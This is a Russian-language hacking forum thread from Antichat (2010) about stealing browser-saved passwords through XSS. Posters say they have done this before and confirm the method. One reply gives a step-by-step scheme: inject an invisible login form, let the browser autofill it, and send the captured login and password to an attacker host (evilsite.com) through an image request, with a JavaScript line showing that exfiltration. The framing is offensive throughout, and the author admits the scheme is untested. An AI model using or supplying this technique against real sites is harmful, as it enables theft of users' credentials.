ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

украсть пароль через XSS
  #1  
Старый 16.04.2010, 18:26
life_glider
Познающий
Регистрация: 13.04.2010
Сообщений: 42
Провел на форуме:
460968

Репутация: 81
По умолчанию украсть пароль через XSS

Есть возможность внедрить html код на сайт(тем или иным способом).
Браузеры сохранят пароли и подставлют их в формы.
Можно ли внедрить форму с паролем. и джаваскрипт который бы утащил бы его? У меня удавалось так красть пароли уже с готовой формы(браузер: хром).

Последний раз редактировалось life_glider; 16.04.2010 в 19:29.. Причина: Очепятко
 
Ответить с цитированием

  #2  
Старый 16.04.2010, 18:32
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
Отправить сообщение для satana-fu с помощью ICQ
По умолчанию

Цитата:
Сообщение от life_glider  
Есть возможность внедрить html код на сайт(тем или иным способом).
Браузеры сохранят пароли и подставлют их в формы.
Модно ли внедрить форму с паролем. и джаваскрипт который бы утащил бы его? У меня удавалось так красть пароли уже с готовой формы(браузер: хром).

Да, можно.
Можно внедрить форму ввода пароля, и закрыть текущую форму, если она есть. Все зависит от того, какие именно символы внедряются.
 
Ответить с цитированием

  #3  
Старый 20.04.2010, 09:10
HellFire
Познающий
Регистрация: 18.01.2009
Сообщений: 62
Провел на форуме:
2832076

Репутация: 42
По умолчанию

Либо замена самой формы на стороннюю где и будет оседать пароль, либо внедрение в форму посыла на сниффер, но тогда только получишь куки на не пароль.
 
Ответить с цитированием

  #4  
Старый 20.04.2010, 21:35
r00nix
Познающий
Регистрация: 07.05.2009
Сообщений: 54
Провел на форуме:
487201

Репутация: 80
Отправить сообщение для r00nix с помощью ICQ
По умолчанию

хм, ребят, что-то вы усложняете. я не в курсе, как работает жезл в Академическом Театре, но в лисе при определенных настройках (включенной "Сохранять пароли для сайтов" и отключенной "Мастер-пароль") браузер очень несекурно запоминает пароли - если пользователь с этим согласился, то, имея активку на сайте, мы ПО ИДЕЕ можем утащить логин и пароль юзера очень просто. План таков - вставляем в страничку js, который добавляет в документ точно такую же форму, как на логинке, но невидимую, у которой в свойстве onsubmit выполнение своей функции. эта функция добавляет в документ невидимый ифрейм, в свойстве src у которого будет наш сайт, вернее скрипт на нем, который принимает логины и пароли; можно также юзать не ифрейм, а картинку. При этом в качестве параметров для скрипта на нашем сайте передаем логин и пароль из формы, которые вытащит та же функция по таймауту, а лучше не по таймауту, а в зависимости от события, когда загрузится вся страница: лиса только тогда вставляет логин и пароль. итак, что имеем:
1. пользователь заходит на страницу с xss
2. грузится наш js, который:
а) добавляет на страницу невидимую форму, идентичную форме логинки, но с onsubmit="our_function(); return false;"
б) our_function() добавляет невидимую картинку с нашего сайта с img.src="http://evilsite.com/xss.php?login=" + document.getElementById("input_login").innerHtml + "&pass=" + document.getElementById("input_pass").innerHtml
в) как только загрузится весь документ + еще пару секунд (на всякий пожарный) js сабмитит добавленную форму
3. ???
4. PROFIT
Естественно, айдишники элементов будут другими, тут они для примера. Еще бы желательно добавить проверку браузера.
Ах да, еще один момент - xss должна быть в том же документе (с тем же URI), что и форма логинки. то есть если юзер логинится на http://site.com/index.html, то бесполезно вставлять xss на http://site.com/index1.html - браузер просто не вставит туда пароль. это, кстати, и избавляет нас от такой фигни, как кража паролей на почтовиках - форма логинки расположена не в том документе, в который взломщик теоретически может проинжектить свой код.
И последнее - все вышеописанное я не проверял, но по логике работать должно. Если проверите и оно не пашет - можно писать в ПМ или лучше сюда, посмотрим, что да как.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Халявный Интернет (для маленьких) stopxaker Статьи 91 20.04.2010 19:52
Xss для новичков Micr0b Уязвимости 0 04.06.2006 18:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ